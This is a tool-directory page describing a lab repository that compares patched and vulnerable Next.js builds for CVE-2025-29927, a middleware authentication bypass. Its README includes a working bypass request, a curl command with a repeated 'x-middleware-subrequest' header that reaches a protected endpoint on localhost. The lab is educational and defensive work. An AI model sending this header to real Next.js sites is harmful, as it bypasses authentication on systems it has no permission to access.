Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
nextjs-cve-2025-29927 — vulnerable-nextjs-14-CVE-2025-29927 | Kitploit
Tools/GitHubGitHub/yeondg/nextjs-cve-2025-29927
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubyeondg/nextjs-cve-2025-29927

nextjs-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

View Repository
401 year agoNot yet reviewed
Share

Next.js CVE-2025-29927 Middleware Vulnerability

This repository is a monorepo project that allows you to compare the CVE-2025-29927 middleware vulnerability between Next.js versions 15.2.3 and 15.1.7.

Vulnerability Description

CVE-2025-29927 is a security vulnerability discovered in Next.js middleware that allows bypassing authentication middleware using the x-middleware-subrequest header. This vulnerability affects the following versions:

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9 These versions have been fixed by updating to the respective patched versions.

How to Run

  1. Clone the repository.
  2. Install dependencies: pnpm install
  3. Run the development server: pnpm dev
  4. Access each app
  • Patched version (15.2.3): http://localhost:3000
  • Vulnerable version (15.1.7): http://localhost:3001
  1. Access to /api/protected endpoint without a token will be denied.
$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
  1. Providing a valid token will successfully access the protected endpoint.
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
  1. Bypass the middleware using the vulnerability.
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

Project Structure

nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # vulnerable version
│   └── next15_2_3/  # patched version
├── packages/
│   └── ui/          # shared UI components
└── README.md

References

  • Vercel Blog
  • DevStefanCho YouTube
  • https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
  • https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
  • https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
  • https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →